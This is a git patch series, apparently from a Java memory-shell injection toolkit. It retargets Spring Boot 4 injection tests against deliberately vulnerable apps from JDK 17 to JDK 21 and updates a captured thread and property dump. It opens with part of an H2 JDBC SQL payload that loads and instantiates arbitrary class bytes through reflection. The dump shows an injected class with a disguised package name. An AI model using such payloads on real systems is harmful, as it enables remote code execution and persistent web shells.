"defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + System.out.println(str); + jdbcController.JDBC(str); + } +} From 4c03832b5a7b31eac2cbe0800576b2d2581366f9 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 21 Aug 2026 19:00:26 +0800 Subject: [PATCH 08/20] test: SpringBoot4 use JDK21 --- .../SpringBoot4WebFluxContainerTest.java | 4 +- .../SpringBoot4ContainerTest.java | 6 +- .../SpringBoot4ExpressionContainerTest.java | 4 +- .../SpringBoot4WebFluxContainerTest.java | 4 +- .../SpringBoot4ContainerTest.java | 6 +- .../SpringBoot4ContainerTestBasicInfo.txt | 479 ++++++++++-------- ...ringBoot4WebFluxContainerTestBasicInfo.txt | 240 +++++---- vul/vul-springboot4-webflux/Dockerfile | 2 +- vul/vul-springboot4/Dockerfile | 2 +- 9 files changed, 399 insertions(+), 348 deletions(-) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java index f606f15e..69920b00 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -21,12 +21,12 @@ @Testcontainers public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest { private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() - .imageName("eclipse-temurin:17.0.17_10-jdk") + .imageName("eclipse-temurin:21.0.11_10-jdk") .jarFile(ContainerTool.springBoot4WebfluxJarFile) .jarDeployPath("/app/app.jar") .command("java -jar /app/app.jar") .server(Server.SpringWebFlux) - .targetJdkVersion(Opcodes.V17) + .targetJdkVersion(Opcodes.V21) .enableJspPackerTest(false) .contextPath("") .healthCheckPath("/test") diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java index 081623e7..e4433496 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java @@ -26,14 +26,14 @@ @Testcontainers public class SpringBoot4ContainerTest extends AbstractContainerTest { private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() - .imageName("eclipse-temurin:17.0.17_10-jdk") + .imageName("eclipse-temurin:21.0.11_10-jdk") .jarFile(ContainerTool.springBoot4JarFile) .jakarta(true) .jarDeployPath("/app/app.jar") .command("java -jar /app/app.jar") .server(Server.SpringWebMvc) .pidScript(ContainerTool.springbootPid) - .targetJdkVersion(Opcodes.V17) + .targetJdkVersion(Opcodes.V21) .enableJspPackerTest(false) .contextPath("") .healthCheckPath("/test") @@ -54,7 +54,7 @@ public class SpringBoot4ContainerTest extends AbstractContainerTest { private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() .imageName("springboot4") .server(Server.Tomcat) - .targetJdkVersion(Opcodes.V17) + .targetJdkVersion(Opcodes.V21) .supportedShellTypes(List.of( ShellType.JAKARTA_FILTER, // ShellType.LISTENER, diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java index ada221e8..b0ab83da 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java @@ -31,7 +31,7 @@ public class SpringBoot4ExpressionContainerTest { public static final String imageName = "springboot4"; @Container - public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk") + public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:21.0.11_10-jdk") .withCopyFileToContainer(springBoot4JarFile, "/app/app.jar") .withCommand("java -jar /app/app.jar") .withCopyToContainer(jattachFile, "/jattach") @@ -66,6 +66,6 @@ static Stream casesProvider() { @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, String shellTool, Packers packer) { - ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java index 19a3977a..02fd68e3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java @@ -15,8 +15,8 @@ public class SpringBoot4WebFluxContainerTest extends AbstractProbeContainerTest { private static final ProbeTestConfig CONFIG = ProbeTestConfig - .springwebflux("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot4WebfluxJarFile) - .expectedJdkVersion("JDK|17.0.17|61") + .springwebflux("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4WebfluxJarFile) + .expectedJdkVersion("JDK|21.0.11|65") .build(); @Container diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java index 30b7955e..9a44a40f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java @@ -16,9 +16,9 @@ public class SpringBoot4ContainerTest extends AbstractProbeContainerTest { private static final ProbeTestConfig CONFIG = ProbeTestConfig - .springboot("eclipse-temurin:17.0.17_10-jdk", ContainerTool.springBoot4JarFile) - .expectedJdkVersion("JDK|17.0.17|61") - .targetJdkVersion(Opcodes.V17) + .springboot("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4JarFile) + .expectedJdkVersion("JDK|21.0.11|65") + .targetJdkVersion(Opcodes.V21) .build(); @Container diff --git a/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt index f1b53b73..e127c5ae 100644 --- a/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt +++ b/integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt @@ -1,6 +1,6 @@ -# Generated At 2026-08-21 07:13:49 +# Generated At 2026-08-21 10:13:30 SystemProps: -java.specification.version: 17 +java.specification.version: 21 sun.jnu.encoding: UTF-8 java.class.path: /app/app.jar java.vm.vendor: Eclipse Adoptium @@ -8,7 +8,7 @@ sun.arch.data.model: 64 java.vendor.url: https://adoptium.net/ catalina.useNaming: false user.timezone: Etc/UTC -java.vm.specification.version: 17 +java.vm.specification.version: 21 os.name: Linux APPLICATION_NAME: vul-springboot4 sun.java.launcher: SUN_STANDARD @@ -20,7 +20,7 @@ sun.cpu.endian: little user.home: /root user.language: en java.specification.vendor: Oracle Corporation -java.version.date: 2025-10-21 +java.version.date: 2026-04-21 java.home: /opt/java/openjdk file.separator: / java.vm.compressedOopsMode: Zero based @@ -32,333 +32,364 @@ FILE_LOG_CHARSET: UTF-8 java.awt.headless: true java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol sun.management.compiler: HotSpot 64-Bit Tiered Compilers -java.runtime.version: 17.0.17+10 +java.runtime.version: 21.0.11+10-LTS user.name: root +stdout.encoding: UTF-8 path.separator: : os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 java.runtime.name: OpenJDK Runtime Environment file.encoding: UTF-8 java.vm.name: OpenJDK 64-Bit Server VM -java.vendor.version: Temurin-17.0.17+10 +java.vendor.version: Temurin-21.0.11+10 java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues java.io.tmpdir: /tmp -catalina.home: /tmp/tomcat.8080.15263778573247402102 -java.version: 17.0.17 +catalina.home: /tmp/tomcat.8080.9283356756873350272 +java.version: 21.0.11 user.dir: / os.arch: aarch64 java.vm.specification.name: Java Virtual Machine Specification PID: 1 CONSOLE_LOG_CHARSET: UTF-8 -catalina.base: /tmp/tomcat.8080.15263778573247402102 +catalina.base: /tmp/tomcat.8080.9283356756873350272 native.encoding: UTF-8 java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 java.vendor: Eclipse Adoptium -java.vm.version: 17.0.17+10 -java.specification.maintenance.version: 1 +java.vm.version: 21.0.11+10-LTS sun.io.unicode.encoding: UnicodeLittle -java.class.version: 61.0 +java.class.version: 65.0 LOGGED_APPLICATION_NAME: [vul-springboot4] =========================================== ThreadStacks: -"http-nio-8080-exec-8" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-5" #41 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.11/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.apache.commons.lang.jlEOs.ErrorPscoiHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22) + at java.base@21.0.11/java.lang.invoke.LambdaForm$DMH/0x0000009801144400.invokeVirtual(LambdaForm$DMH) + at java.base@21.0.11/java.lang.invoke.LambdaForm$MH/0x00000098012ed800.invoke(LambdaForm$MH) + at java.base@21.0.11/java.lang.invoke.Invokers$Holder.invokeExact_MT(Invokers$Holder) + at java.base@21.0.11/jdk.internal.reflect.DirectMethodHandleAccessor.invokeImpl(DirectMethodHandleAccessor.java:154) + at java.base@21.0.11/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103) + at java.base@21.0.11/java.lang.reflect.Method.invoke(Method.java:580) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:252) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:184) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:934) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:853) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:86) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:963) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:866) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1000) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:903) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:649) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:874) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:710) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:59) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:199) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:165) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:77) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:535) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:86) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:71) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:347) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:406) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:71) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:1307) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:2036) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:74) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:949) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b681d9f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@3e133080 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.11/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"http-nio-8080-exec-1" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@18a0fe9 - java.lang.Thread.State: TIMED_WAITING - at java.base@17.0.17/java.lang.Object.wait(Native Method) - at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) - at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) - at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) +"DestroyJavaVM" #49 [RUNNABLE] + java.lang.Thread.State: RUNNABLE -"http-nio-8080-exec-1" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-4" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"http-nio-8080-exec-2" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-10" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"http-nio-8080-exec-6" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"http-nio-8080-exec-2" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) - at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"Notification Thread" #12 daemon [RUNNABLE] +"http-nio-8080-Acceptor" #48 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.11/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:433) + at java.base@21.0.11/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:399) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:626) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:145) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) -"http-nio-8080-exec-3" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f +"Catalina-utility-1" #34 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fbfe421 java.lang.Thread.State: WAITING - at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) - at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) - at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) - at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) - at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at 